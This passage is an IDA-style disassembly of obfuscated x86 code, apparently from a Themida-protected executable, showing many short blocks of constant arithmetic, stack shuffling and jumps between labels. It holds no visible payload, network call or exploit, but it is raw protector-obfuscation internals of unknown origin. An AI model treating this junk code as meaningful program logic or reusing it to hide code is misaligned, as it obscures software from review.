mov edx, [esp+4Ah+var_4A]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp+4Eh+var_4E]
jmp loc_553E14
; ---------------------------------------------------------------------------
loc_55BC7A: ; CODE XREF: sub_559C84-1F56j
push ecx
mov ecx, 46E211F7h
sub eax, 6E2A058Ch
push esi
push ebx
push edi
mov edi, 3B423A06h
xor edi, 7B240D90h
and edi, 250C67B8h
sub edi, 0BBC4695h
inc edi
dec edi
add edi, 891160F4h
mov ebx, edi
pop edi
not ebx
xor ebx, 0EF7FAF98h
mov esi, ebx
pop ebx
and esi, 6F274CF0h
xor esi, 74C7213Dh
add eax, esi
jmp loc_55DCD3
; ---------------------------------------------------------------------------
loc_55BCC8: ; CODE XREF: Themida_:00557528j
mov ecx, 47942D5h
add edx, ecx
mov ecx, [esp+48h+var_4A+2]
add esp, 4
add edx, 2E8A7CFDh
sub edx, 3DA46439h
jmp loc_5567A1
; ---------------------------------------------------------------------------
loc_55BCE9: ; CODE XREF: sub_559C84-40F1j
add esp, 4
push ebp
push 75DA04F6h
pop ebp
jmp loc_55B4EA
; ---------------------------------------------------------------------------
loc_55BCFB: ; CODE XREF: sub_559C84-7B3j
mov edi, esp
push eax
jmp loc_5550C1
; ---------------------------------------------------------------------------
loc_55BD03: ; CODE XREF: sub_559C84+4020j
mov edi, 4
add ebp, 65732130h
jmp loc_555137
; ---------------------------------------------------------------------------
loc_55BD13: ; CODE XREF: sub_559C84-3A81j
mov [esp-14h+arg_10], esp
jmp loc_554FCE
; ---------------------------------------------------------------------------
loc_55BD1B: ; CODE XREF: sub_559C84+152Aj
xor ebp, eax
pop eax
jmp loc_5557DA
; ---------------------------------------------------------------------------
loc_55BD23: ; CODE XREF: sub_559C84-3119j
mov edi, 1F346DA8h
push ebx
jmp loc_55654E
; ---------------------------------------------------------------------------
loc_55BD2E: ; DATA XREF: Themida_:00553290o
neg word ptr [esp-0Eh+arg_8+2]
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55BD38: ; CODE XREF: sub_559C84-4ACDj
pop edx
push edi
push eax
jmp loc_558C0D
; ---------------------------------------------------------------------------
loc_55BD40: ; CODE XREF: sub_559C84-2F3Aj
push esi
push eax
mov eax, 48741D88h
jmp loc_55A7E7
; ---------------------------------------------------------------------------
loc_55BD4C: ; CODE XREF: sub_559C84-3606j
sub [esp+66h+var_60+2], 418750Eh
pop ebx
jmp loc_55D99D
; ---------------------------------------------------------------------------
loc_55BD5A: ; DATA XREF: Themida_:00553438o
mov ax, word ptr [esp+62h+var_64+2]
push eax
push esp
jmp loc_55FB73
; ---------------------------------------------------------------------------
loc_55BD65: ; CODE XREF: sub_559C84+3B89j
add esp, 4
push esi
push dword ptr [esp+4]
pop esi
jmp loc_55D370
; ---------------------------------------------------------------------------
loc_55BD76: ; CODE XREF: sub_5591C7-1B93j
pop edi
jmp loc_55A660
; ---------------------------------------------------------------------------
loc_55BD7C: ; CODE XREF: sub_559C84-F2Aj
push 5653h
mov [esp+32h+var_34+2], ecx
mov ecx, 22B32E63h
jmp loc_55F8C0
; ---------------------------------------------------------------------------
loc_55BD8E: ; CODE XREF: sub_559C84+4E35j
xor [esp+32h+var_34+2], edx
jmp loc_55771E
; ---------------------------------------------------------------------------
loc_55BD96: ; CODE XREF: sub_559C84-2980j
add esp, 4
jmp loc_555640
; ---------------------------------------------------------------------------
loc_55BD9E: ; CODE XREF: sub_559C84-38C8j
add esp, 4
push eax
mov eax, 9843463h
xor eax, 183171C5h
add eax, 2E150609h
shl eax, 7
neg eax
push ebp
mov ebp, 1ADA2882h
xor eax, ebp
pop ebp
add edi, eax
jmp loc_55ACB8
; ---------------------------------------------------------------------------
loc_55BDC6: ; CODE XREF: sub_559C84-3E1Aj
mov eax, [esp+4Eh+var_4E]
add esp, 4
add ebp, 4
xchg ebp, [esp+4Ah+var_4A]
pop esp
push 2DECh
jmp loc_55B0F7
; ---------------------------------------------------------------------------
loc_55BDDD: ; CODE XREF: sub_559C84-120Ej
sub edx, ebx
pop ebx
xor edx, 13697E65h
xor edx, 6E76FE6Eh
jmp loc_558981
; ---------------------------------------------------------------------------
loc_55BDF1: ; CODE XREF: sub_559C84+19DDj
xor ecx, edx
pop edx
jmp loc_5585D3
; ---------------------------------------------------------------------------
loc_55BDF9: ; CODE XREF: sub_559C84+490Ej
add edx, ebp
jmp loc_556ABA
; ---------------------------------------------------------------------------
loc_55BE00: ; CODE XREF: sub_559C84+7F5j
add edx, 4
xchg edx, [esp+0]
pop esp
jmp loc_559238
; ---------------------------------------------------------------------------
loc_55BE0C: ; CODE XREF: sub_559C84+16F1j
add esp, 4
push ecx
mov ecx, 2
add ebp, ecx
jmp loc_55DE5E
; ---------------------------------------------------------------------------
loc_55BE1F: ; CODE XREF: sub_559C84+29FEj
push ebx
pop edx
push 2938h
mov [esp+38h+var_3A+2], edx
add [esp+38h+var_3A+2], 2716582Eh
jmp loc_55E20E
; ---------------------------------------------------------------------------
loc_55BE35: ; CODE XREF: Themida_:0055E3D0j
mov ebp, ecx
mov edi, ebp
pop ebp
pop ecx
add esi, edi
jmp loc_5543FB
; ---------------------------------------------------------------------------
loc_55BE42: ; CODE XREF: sub_55F608-819Fj
mov edx, 3D9FAEh
sub ecx, edx
push [esp+30h+var_30]
pop edx
jmp loc_55558E
; ---------------------------------------------------------------------------
loc_55BE52: ; CODE XREF: sub_559C84-1BF8j
add esp, 4
xchg ebp, [esp+4Ch+var_4E+2]
pop esp
mov [esp+48h+var_4A+2], ecx
mov ecx, 638F4766h
add ecx, 0FFFFFFFFh
shr ecx, 4
push edi
push ecx
mov ecx, 30E02BF6h
jmp loc_55759B
; ---------------------------------------------------------------------------
loc_55BE73: ; CODE XREF: sub_559C84+1193j
add edx, ebp
sub edx, 72807FFEh
mov ebp, [esp+2Ch+var_2C]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+30h+var_30]
pop esp
push ebp
push esi
jmp loc_558D42
; ---------------------------------------------------------------------------
loc_55BE98: ; CODE XREF: sub_559C84-31F8j
pop ecx
jmp loc_55D7CF
; ---------------------------------------------------------------------------
loc_55BE9E: ; CODE XREF: sub_559C84-57FAj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp-0Ch+arg_8]
pop esp
push esi
jmp loc_55D04C
; ---------------------------------------------------------------------------
loc_55BEB4: ; CODE XREF: sub_559C84+4D1Fj
mov eax, 4
add ebx, eax
pop eax
xchg ebx, [esp-10h+arg_C]
pop esp
jmp loc_55A3D7
; ---------------------------------------------------------------------------
loc_55BEC5: ; CODE XREF: Themida_:00553F51j
sub edi, 48AD57DBh
push ebp
mov ebp, 7A1F1DB0h
add edi, ebp
pop ebp
or edi, 5F6B1DA3h
neg edi
push ebp
mov ebp, 65F911B1h
shr ebp, 5
inc ebp
add ebp, 734D7BE6h
sub ebp, 0D5F90267h
jmp loc_553715
; ---------------------------------------------------------------------------
loc_55BEF7: ; CODE XREF: sub_559C84-1533j
mov ecx, 4
jmp loc_55DF18
; ---------------------------------------------------------------------------
loc_55BF01: ; CODE XREF: sub_559C84-3644j
add eax, esi
pop esi
add eax, ebx
sub eax, 6EB04D56h
jmp loc_553705
; ---------------------------------------------------------------------------
loc_55BF10: ; CODE XREF: sub_559C84+824j
xor ecx, edi
pop edi
shr ecx, 2
jmp loc_55B1CC
; ---------------------------------------------------------------------------
loc_55BF1B: ; CODE XREF: sub_559C84+4AC8j
xchg esi, [esp+38h+var_3A+2]
pop esp
sar [esp+34h+var_34], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55BF28: ; CODE XREF: Themida_:0055DEEDj
pop ebx
push ecx
push ebx
push 575F6D53h
mov ebx, [esp+40h+var_42+2]
push eax
mov eax, esp
add eax, 4
jmp loc_55B064
; ---------------------------------------------------------------------------
loc_55BF40: ; CODE XREF: sub_559C84-43E1j
add edx, 2AF5446h
and ebx, edx
pop edx
push ebx
not [esp+4+var_4]
pop ebx
not ebx
add ebx, 72AC60D1h
add ebx, 89522A11h
jmp loc_55B226
; ---------------------------------------------------------------------------
loc_55BF61: ; CODE XREF: sub_55F389-1F6j
add esp, 4
add eax, 4
push ecx
mov ecx, 4
add eax, 0B3A65AAh
add eax, ecx
sub eax, 0B3A65AAh
pop ecx
jmp loc_556D93
; ---------------------------------------------------------------------------
loc_55BF81: ; CODE XREF: sub_559C84+569Dj
add esi, 4
jmp loc_5552FD
; ---------------------------------------------------------------------------
loc_55BF8C: ; CODE XREF: sub_559C84+33C3j
mov ecx, [esp-4+arg_0]
push ebp
jmp loc_559661
; ---------------------------------------------------------------------------
loc_55BF95: ; CODE XREF: sub_557976+178Cj
mov al, ch
pop ecx
dec dh
xor al, dh
xor dh, al
xor al, dh
push edx
mov dl, 6
dec dl
neg dl
xor dl, 3
sub al, dl
jmp loc_55E65B
; ---------------------------------------------------------------------------
loc_55BFB1: ; CODE XREF: sub_559C84+E51j
push eax
mov eax, esp
jmp loc_554BED
; ---------------------------------------------------------------------------
loc_55BFB9: ; CODE XREF: sub_55E1F9+DE8j
add ecx, 1F501FF0h
pop ebp
dec ecx
xor ecx, 19142CBEh
shl ecx, 5
shl ecx, 5
shr ecx, 6
jmp sub_556FC2
; ---------------------------------------------------------------------------
loc_55BFD5: ; CODE XREF: sub_559C84+87Fj
mov eax, [esp+44h+var_46+2]
jmp loc_55C2D1
; ---------------------------------------------------------------------------
loc_55BFDD: ; CODE XREF: sub_559C84-511Cj
push [esp+46h+var_42]
push [esp+4Ah+var_4A]
mov ebx, [esp+4Eh+var_4E]
add esp, 4
add esp, 4
pop [esp+46h+var_46]
mov esp, [esp+42h+var_42]
jmp loc_55FAA1
; ---------------------------------------------------------------------------
loc_55BFF8: ; CODE XREF: sub_559C84-4BB2j
shl eax, 2
push ecx
mov ecx, 34AF43EAh
add ecx, 0FFFFFFFFh
jmp loc_55DB4C
; ---------------------------------------------------------------------------
loc_55C00C: ; CODE XREF: Themida_:0055EE82j
pop eax
add esi, ebx
mov ebx, [esp+0Ch+var_C]
add esp, 4
xor esi, [esp+8+var_8]
xor [esp+8+var_8], esi
xor esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
bts word ptr [esp+8+var_8], ax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55C02F: ; CODE XREF: sub_5598F1+27j
dec edi
shr edi, 7
jmp loc_55F660
; ---------------------------------------------------------------------------
loc_55C038: ; CODE XREF: sub_559C84-138Fj
xor eax, 521061E8h
push ecx
mov ecx, 46802789h
xor eax, ecx
pop ecx
mov esi, eax
pop eax
jmp loc_55E239
; ---------------------------------------------------------------------------
loc_55C04E: ; CODE XREF: Themida_:00553BE1j
mov eax, 60BD0A7Bh
dec eax
neg eax
add eax, 5B74618Ah
shl eax, 4
jmp loc_555EC1
; ---------------------------------------------------------------------------
loc_55C063: ; CODE XREF: Themida_:00557BDEj
push ecx
push edx
mov dl, 6Ch
mov ch, 98h
sub ch, dl
jmp loc_55908E
; ---------------------------------------------------------------------------
loc_55C070: ; CODE XREF: sub_559C84-5FD7j
push ecx
mov ecx, 446F0D24h
shr ecx, 7
shr ecx, 3
xor ecx, 35BF4C21h
add eax, 35FA528Ch
add eax, ecx
sub eax, 35FA528Ch
pop ecx
sub eax, edi
sub eax, 35AE57E2h
push [esp+1Ch+var_1C]
pop edi
sub esp, 4
mov [esp+20h+var_20], edx
push esp
pop edx
jmp loc_55ABD5
; ---------------------------------------------------------------------------
loc_55C0AA: ; CODE XREF: sub_555531+9254j
pop ebx
shr ecx, 7
push ebp
push eax
mov eax, 76675625h
dec eax
sub eax, 8ED678Eh
add eax, 0F7D86A41h
jmp loc_558D67
; ---------------------------------------------------------------------------
loc_55C0C5: ; CODE XREF: sub_559C84-38EAj
add ecx, 183D744Eh
jmp loc_554681
; ---------------------------------------------------------------------------
loc_55C0D0: ; CODE XREF: sub_554404+Cj
xchg ebp, [esp+56h+var_58+2]
pop esp
push esi
pop dword ptr [edx+38h]
push [esp+52h+var_52]
mov esi, [esp+56h+var_58+2]
push 0DB4h
jmp loc_554B1D
; ---------------------------------------------------------------------------
loc_55C0E8: ; CODE XREF: sub_559C84+AB0j
mov ebx, [esp+48h+var_4A+2]
push edx
jmp loc_5563F4
; ---------------------------------------------------------------------------
loc_55C0F1: ; DATA XREF: Themida_:00553488o
lodsd
sub eax, 3871499Eh
jmp loc_55ADCD
; ---------------------------------------------------------------------------
loc_55C0FC: ; CODE XREF: sub_559C84-2F15j
mov ecx, [esp+5Eh+var_60+2]
add esp, 4
pop edx
push esi
jmp loc_55C9FC
; ---------------------------------------------------------------------------
loc_55C10C: ; CODE XREF: sub_555C35+2B92j
and ebx, ebp
mov ebp, [esp+5Ah+var_5C+2]
add esp, 4
push eax
mov eax, 39E6E29h
and ebx, eax
pop eax
and ebx, 676268BBh
push ebp
mov ebp, 3023FFCh
sub ebx, ebp
mov ebp, [esp+5Ah+var_5C+2]
jmp loc_55B0E4
; ---------------------------------------------------------------------------
loc_55C136: ; CODE XREF: sub_559C84+2B80j
neg esi
push eax
jmp loc_55D756
; ---------------------------------------------------------------------------
loc_55C13E: ; CODE XREF: Themida_:00555723j
sub al, 43h
add al, bl
push ebx
mov bh, 23h
jmp loc_55956B
; ---------------------------------------------------------------------------
loc_55C14A: ; CODE XREF: sub_559C84+1A2j
mov edi, 0F4F7F5Fh
shl edi, 7
neg edi
shr edi, 7
add edi, 1C063E1Ah
jmp loc_553D2B
; ---------------------------------------------------------------------------
loc_55C162: ; CODE XREF: sub_559C84-531Fj
add ebp, 4
push ecx
mov ecx, 4
sub ebp, ecx
mov ecx, [esp+4Ah+var_4A]
add esp, 4
xor ebp, [esp+46h+var_46]
xor [esp+46h+var_46], ebp
xor ebp, [esp+46h+var_46]
pop esp
mov [esp+42h+var_42], edi
mov edi, 4
add ebp, edi
mov edi, [esp+42h+var_42]
add esp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
push ebp
push [esp+42h+var_3E]
jmp loc_55BB81
; ---------------------------------------------------------------------------
loc_55C1A9: ; CODE XREF: sub_559AA2-31B8j
not eax
shr eax, 5
sub eax, 68907B00h
inc eax
dec eax
push esi
mov esi, 4D790346h
dec esi
shl esi, 5
neg esi
add esi, 757D80DDh
add eax, esi
pop esi
jmp loc_5541DC
; ---------------------------------------------------------------------------
loc_55C1CF: ; CODE XREF: sub_559C84+5167j
add edx, ebp
pop ebp
xchg edx, [esp+42h+var_42]
pop esp
movsx ecx, ax
jmp loc_55A630
; ---------------------------------------------------------------------------
loc_55C1DE: ; CODE XREF: sub_559C84-2810j
push bx
mov bh, 31h
jmp loc_556D4F
; ---------------------------------------------------------------------------
loc_55C1E7: ; CODE XREF: sub_559C84-65EBj
xor [esp+12h+var_14+2], esi
xor esi, [esp+12h+var_14+2]
mov esp, [esp+12h+var_14+2]
mov ax, word ptr [esp+12h+var_14+2]
jmp loc_55F7D6
; ---------------------------------------------------------------------------
loc_55C1F9: ; CODE XREF: sub_559C84+E30j
pop ecx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_558749
; ---------------------------------------------------------------------------
loc_55C20B: ; CODE XREF: sub_559C84-2E30j
mov ecx, [esp+56h+var_58+2]
push esi
mov esi, esp
push ebx
mov ebx, esp
jmp loc_5595D4
; ---------------------------------------------------------------------------
loc_55C219: ; CODE XREF: sub_559C84-F18j
neg ebp
sub ebp, 99F46AE2h
xor ecx, ebp
jmp loc_55C794
; ---------------------------------------------------------------------------
loc_55C228: ; CODE XREF: sub_559C84+3272j
push esp
pop ebp
push ebx
mov ebx, 43271717h
dec ebx
xor ebx, 308D7987h
jmp loc_55A6C3
; ---------------------------------------------------------------------------
loc_55C23C: ; CODE XREF: sub_559C84-56F8j
add [esp+20h+var_20], 37747E56h
push esi
mov esi, 1CAC02BDh
sub [esp+24h+var_20], esi
pop esi
push ebx
mov ebx, 0CC6158Dh
jmp loc_55BC22
; ---------------------------------------------------------------------------
loc_55C259: ; CODE XREF: sub_559C84+4DC9j
push [esp+24h+var_20]
mov esi, [esp+28h+var_28]
add esp, 4
pop [esp+24h+var_24]
pop esp
push 15A7h
jmp loc_555CFF
; ---------------------------------------------------------------------------
loc_55C274: ; CODE XREF: sub_55F9FD-6D4Ej
add esi, 4
xchg esi, [esp+20h+var_20]
jmp loc_55979D
; ---------------------------------------------------------------------------
loc_55C27F: ; CODE XREF: Themida_:00556A11j
mov dh, 0A0h
xor dh, al
jmp loc_55B82C
; ---------------------------------------------------------------------------
loc_55C288: ; CODE XREF: sub_559C84-5994j
add esp, 4
push edi
mov edi, 44DB763Bh
inc edi
neg edi
push ebp
mov ebp, 0BB2489C6h
xor edi, ebp
pop ebp
sub ebp, edi
jmp loc_55B093
; ---------------------------------------------------------------------------
mov cx, word ptr [esp-10h+arg_C]
push 4C82h
mov [esp-0Ch+arg_8], eax
mov eax, esp
push edi
mov edi, 2B514008h
push ebp
mov ebp, 2AAA0DB8h
shl ebp, 8
sub ebp, 3E5294A5h
add edi, ebp
jmp loc_559BD2
; ---------------------------------------------------------------------------
loc_55C2D1: ; CODE XREF: sub_559C84+2354j
push 76EEh
mov [esp+48h+var_4A+2], eax
mov eax, esp
add eax, 4
push ebx
jmp loc_55D4AA
; ---------------------------------------------------------------------------
loc_55C2E6: ; CODE XREF: sub_559C84+138j
mov ebx, edx
pop edx
not ebx
jmp loc_55F236
; ---------------------------------------------------------------------------
loc_55C2F0: ; CODE XREF: sub_559C84+45CDj
xor [esp+46h+var_46], edx
xor edx, [esp+46h+var_46]
mov esp, [esp+46h+var_46]
or [esp+46h+var_46], eax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55C302: ; CODE XREF: sub_559C84-359Dj
mov esi, [esp+0]
jmp loc_55AFDB
; ---------------------------------------------------------------------------
loc_55C30A: ; CODE XREF: sub_559C84-70Dj
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+62h+var_64+2]
pop esp
push edx
jmp loc_555551
; ---------------------------------------------------------------------------
loc_55C31F: ; CODE XREF: sub_559C84-4B7Cj
push ebp
jmp loc_55A270
; ---------------------------------------------------------------------------
loc_55C325: ; CODE XREF: sub_559C84-416Cj
xor edx, 48C14AF0h
xor edx, 51EE5BB1h
jmp sub_55DE4E
; ---------------------------------------------------------------------------
loc_55C336: ; CODE XREF: sub_559C84-299Aj
push edx
jmp loc_55AB85
; ---------------------------------------------------------------------------
loc_55C33C: ; CODE XREF: sub_559C84+5D2Bj
mov edx, 3ED14A34h
mov ebx, 0CB43D00Bh
add ebx, edx
pop edx
push esi
mov esi, 21EA6207h
or ebx, esi
jmp loc_55EE87
; ---------------------------------------------------------------------------
loc_55C356: ; CODE XREF: sub_559C84+594Aj
mov [esp+2+var_4+2], esi
jmp loc_558C73
; ---------------------------------------------------------------------------
loc_55C35E: ; CODE XREF: sub_55895E-50EDj
add edi, ebp
pop ebp
xchg edi, [esp+0]
jmp loc_55D6B9
; ---------------------------------------------------------------------------
loc_55C369: ; CODE XREF: sub_559C84-4738j
mov esp, [esp+4+var_4]
jmp loc_55712D
; ---------------------------------------------------------------------------
loc_55C371: ; CODE XREF: sub_559C84+3F4Dj
add ebx, 52830424h
mov ecx, ebx
pop ebx
mov ebx, 8EC72F3Ch
sub ebx, ecx
pop ecx
not ebx
sub ebx, 0BA7659Bh
shl ebx, 2
xchg ebp, ebx
not ebp
xchg ebp, ebx
jmp loc_55B755
; ---------------------------------------------------------------------------
loc_55C398: ; CODE XREF: sub_559C84-3321j
xchg edx, [esp+0]
pop esp
jmp loc_55FB8B
; ---------------------------------------------------------------------------
loc_55C3A1: ; CODE XREF: sub_559C84-315Dj
pop ecx
jmp loc_554A70
; ---------------------------------------------------------------------------
loc_55C3A7: ; CODE XREF: sub_559C84-89Ej
pop edx
pop ebp
xchg eax, [esp+1Ah+var_1C+2]
mov esp, [esp+1Ah+var_1C+2]
imul cx, ax
push cx
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55C3BB: ; CODE XREF: sub_559C84+16CFj
mov edx, 277D3AA7h
mov esi, edx
pop edx
jmp loc_55A358
; ---------------------------------------------------------------------------
loc_55C3C8: ; CODE XREF: sub_559C84+4087j
inc ebx
xor ebx, 0EDC1155h
xor ebx, 5D94B254h
add edx, ebx
pop ebx
xchg edi, edx
not edi
xchg edi, edx
sub edx, 0FFFFFFFFh
add edx, 0D47611E6h
sub eax, edx
mov edx, [esp+0]
jmp loc_55EC96
; ---------------------------------------------------------------------------
push [esp+arg_0]
jmp loc_554553
; ---------------------------------------------------------------------------
loc_55C3FD: ; CODE XREF: sub_559C84+17AFj
push 593Bh
mov [esp+5Ch+var_5C], ecx
jmp loc_55DE6E
; ---------------------------------------------------------------------------
loc_55C40A: ; CODE XREF: sub_559C84+53F9j
xchg ebp, [esp+5Ch+var_5C]
jmp loc_55B3BE
; ---------------------------------------------------------------------------
loc_55C412: ; CODE XREF: Themida_:0055518Ej
push esp
mov ebp, [esp+60h+var_60]
jmp loc_55B0D1
; ---------------------------------------------------------------------------
loc_55C41B: ; CODE XREF: sub_559C84-2B8Fj
push edi
mov edi, 18695248h
sub edi, 516B1F1Bh
xor edi, 336D116Fh
sub edi, 82380346h
add ebx, 474B107Dh
sub ebx, edi
sub ebx, 474B107Dh
pop edi
jmp loc_5586C2
; ---------------------------------------------------------------------------
loc_55C447: ; CODE XREF: Themida_:0055833Dj
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55C44C: ; CODE XREF: sub_559C84+1Bj
mov [esp+62h+var_64+2], ecx
jmp loc_55DB2F
; ---------------------------------------------------------------------------
loc_55C454: ; CODE XREF: sub_5555E0+1j
mov ebp, 743F5127h
shl ebp, 3
jmp loc_556941
; ---------------------------------------------------------------------------
loc_55C461: ; DATA XREF: Themida_:005534A4o
push [esp+62h+var_64+2]
pop ecx
sub esp, 4
mov [esp+0], ecx
mov ecx, esp
push ebx
mov ebx, 253448C2h
jmp loc_558764
; ---------------------------------------------------------------------------
loc_55C47B: ; CODE XREF: sub_559C84-82Aj
xor [esp+50h+var_52+2], edi
xor edi, [esp+50h+var_52+2]
jmp loc_55E1AD
; ---------------------------------------------------------------------------
loc_55C486: ; CODE XREF: sub_559C84-57B8j
sub ecx, 0B3CF4481h
sub ebx, 27AF0100h
sub ebx, ecx
add ebx, 27AF0100h
jmp loc_5573E2
; ---------------------------------------------------------------------------
loc_55C49F: ; DATA XREF: Themida_:00553270o
lodsd
jmp loc_5549C3
; ---------------------------------------------------------------------------
loc_55C4A5: ; CODE XREF: sub_559C84-F3Dj
push edi
mov edi, esi
mov ebp, edi
pop edi
pop esi
jmp loc_55D847
; ---------------------------------------------------------------------------
loc_55C4B1: ; CODE XREF: sub_559C84+43ACj
mov bh, ch
pop ecx
push ecx
sub esp, 4
mov [esp+0], edx
mov dh, bh
mov cl, dh
pop edx
jmp loc_55C617
; ---------------------------------------------------------------------------
loc_55C4C5: ; CODE XREF: sub_559C84-4414j
mov ax, word ptr [esp+40h+var_42+2]
push ebp
push esp
mov ebp, [esp+48h+var_4A+2]
jmp loc_55DC9D
; ---------------------------------------------------------------------------
loc_55C4D3: ; CODE XREF: sub_559C84+5407j
mov esi, 0A01628Fh
add esi, 2BCE1E83h
sub esi, eax
sub esi, 2BCE1E83h
pop eax
not esi
neg esi
push eax
mov eax, 739258C6h
sub esi, eax
push [esp+48h+var_4A+2]
jmp loc_559E6F
; ---------------------------------------------------------------------------
loc_55C4FB: ; CODE XREF: sub_559C84-AF2j
mov esi, [esp+2Ah+var_2C+2]
push edx
mov edx, esp
add edx, 4
jmp loc_557C53
; ---------------------------------------------------------------------------
loc_55C50C: ; CODE XREF: sub_559C84+2B9Cj
mov ch, 99h
push edx
mov dl, 93h
sub al, 45h
sub al, 0E7h
add al, dl
add al, 0E7h
add al, 45h
pop edx
add al, ch
sub al, 93h
jmp loc_559C4B
; ---------------------------------------------------------------------------
loc_55C525: ; CODE XREF: sub_559C84-124Aj
push ecx
jmp loc_55A1F5
; ---------------------------------------------------------------------------
loc_55C52B: ; CODE XREF: sub_559C84+1FCAj
mov [esp+48h+var_4A+2], esi
push 6F76h
mov [esp+4Ch+var_4E+2], ebp
pop esi
pop ebp
xor eax, esi
xor esi, eax
xor eax, esi
push 151h
mov [esp+48h+var_4A+2], ebp
sub esp, 4
mov [esp+4Ch+var_4E+2], ecx
push ebx
jmp sub_5555E0
; ---------------------------------------------------------------------------
loc_55C555: ; CODE XREF: sub_559C84+576Aj
push edi
jmp loc_559E2B
; ---------------------------------------------------------------------------
loc_55C55B: ; CODE XREF: sub_555BE3+1BECj
push 332Eh
mov [esp+58h+var_58], esp
add [esp+58h+var_58], 4
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp+0]
jmp loc_557574
; ---------------------------------------------------------------------------
loc_55C57C: ; CODE XREF: sub_559C84+5AFBj
not eax
sub eax, 0EBEACFE4h
add esi, eax
pop eax
sub esi, 4
xchg esi, [esp+50h+var_52+2]
pop esp
jmp loc_55EC1E
; ---------------------------------------------------------------------------
loc_55C595: ; CODE XREF: sub_559C84+5B4Dj
push 7B39h
mov [esp+50h+var_52+2], ebp
mov ebp, 5AFB48D9h
push ebx
mov ebx, ebp
push 7CF8h
mov [esp+58h+var_58], ebx
push ebx
mov ebx, 7A415FCFh
sub [esp+5Ch+var_58], ebx
pop ebx
pop edi
add edi, 7A415FCFh
jmp loc_556F86
; ---------------------------------------------------------------------------
loc_55C5C4: ; CODE XREF: sub_559C84+1B65j
xor esi, 50006BB2h
mov ebx, esi
pop esi
jmp loc_55AAE9
; ---------------------------------------------------------------------------
loc_55C5D2: ; CODE XREF: sub_559C84-3743j
mov edx, ebx
pop ebx
sub edx, 245366CDh
sub edx, 53B02ABAh
jmp loc_55E070
; ---------------------------------------------------------------------------
loc_55C5E6: ; CODE XREF: sub_559C84+59EAj
push [esp+4Ch+var_4E+2]
pop ebp
jmp loc_55F42D
; ---------------------------------------------------------------------------
loc_55C5EF: ; CODE XREF: Themida_:00558589j
add ebp, 4
add ebp, 4
jmp loc_55F69F
; ---------------------------------------------------------------------------
loc_55C5FD: ; CODE XREF: sub_559C84-1AB4j
mov eax, 390533C3h
shl eax, 8
jmp loc_5558E3
; ---------------------------------------------------------------------------
loc_55C60A: ; CODE XREF: sub_559C84-4391j
xor edx, [esp+44h+var_46+2]
pop esp
shr [esp+40h+var_42+2], cl
pushf
jmp loc_555973
; ---------------------------------------------------------------------------
loc_55C617: ; CODE XREF: sub_559C84+283Cj
push ebx
jmp loc_55952C
; ---------------------------------------------------------------------------
loc_55C61D: ; CODE XREF: sub_559C84+5AD3j
pop esi
jmp loc_55E040
; ---------------------------------------------------------------------------
loc_55C623: ; CODE XREF: Themida_:0055DE84j
push edx
push esi
mov esi, 75D9477Ah
add esi, 76E60775h
xor esi, 4FFE44D7h
shl esi, 6
xor esi, 0D753EFE1h
jmp loc_55CE55
; ---------------------------------------------------------------------------
loc_55C644: ; DATA XREF: Themida_:00553240o
mov ax, word ptr [esp+3Ah+var_3A]
push 64A5h
mov [esp+3Eh+var_3E], ecx
push esp
pop ecx
push 6319h
mov [esp+42h+var_42], edx
mov edx, 4
jmp loc_553911
; ---------------------------------------------------------------------------
loc_55C664: ; CODE XREF: sub_559C84-592j
sub edi, 0AE30E515h
sub ecx, 195A52B4h
jmp loc_55A36E
; ---------------------------------------------------------------------------
loc_55C675: ; CODE XREF: sub_559C84-66C4j
add edi, ecx
pop ecx
jmp loc_558B61
; ---------------------------------------------------------------------------
loc_55C67D: ; CODE XREF: sub_559C84-2087j
pop ebp
sub ebx, edx
pop edx
push edx
jmp loc_55BE1F
; ---------------------------------------------------------------------------
loc_55C687: ; CODE XREF: sub_559C84+1FA5j
sub esp, 4
mov [esp+50h+var_52+2], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+50h+var_52+2]
mov esp, [esp+50h+var_52+2]
jmp loc_554B2D
; ---------------------------------------------------------------------------
loc_55C6A5: ; CODE XREF: Themida_:005582D0j
sub esp, 4
mov [esp+0], eax
mov eax, 1C40328Fh
not eax
dec eax
add eax, 1C403295h
push eax
sub [esp+58h+var_58], 55307D7Ch
jmp loc_55E9ED
; ---------------------------------------------------------------------------
loc_55C6C8: ; CODE XREF: sub_559C84-606Bj
xor ecx, [esp+18h+var_18]
mov esp, [esp+18h+var_18]
jmp loc_55495B
; ---------------------------------------------------------------------------
loc_55C6D3: ; CODE XREF: sub_55698E+AA0j
shr ch, 7
or ch, 0Bh
jmp loc_55F5A9
; ---------------------------------------------------------------------------
loc_55C6DE: ; CODE XREF: sub_559C84-3C1Ej
shl edx, 1
sub esp, 4
mov [esp+3Ah+var_3A], eax
push 2C1Eh
mov [esp+3Eh+var_3E], esi
mov esi, 151E6716h
push 7A89h
mov [esp+42h+var_42], ebx
mov ebx, 191A092Bh
add esi, ebx
jmp loc_55A1CB
; ---------------------------------------------------------------------------
loc_55C70A: ; CODE XREF: sub_559C84-3B70j
mov [esp+40h+var_42+2], edx
mov edx, esp
jmp loc_55E619
; ---------------------------------------------------------------------------
loc_55C714: ; CODE XREF: sub_559C84-2AB2j
mov ebp, [esp-16h+arg_10+2]
jmp loc_55D778
; ---------------------------------------------------------------------------
loc_55C71C: ; CODE XREF: sub_559C84+4B6j
mov ebp, esi
jmp loc_555980
; ---------------------------------------------------------------------------
loc_55C723: ; CODE XREF: sub_559C84-1041j
sub esp, 4
jmp loc_556DF1
; ---------------------------------------------------------------------------
loc_55C72B: ; CODE XREF: sub_556F29-26C9j
shr ebx, 4
dec ebx
jmp loc_559D67
; ---------------------------------------------------------------------------
loc_55C734: ; CODE XREF: sub_559C84-80Aj
mov al, 0D1h
dec al
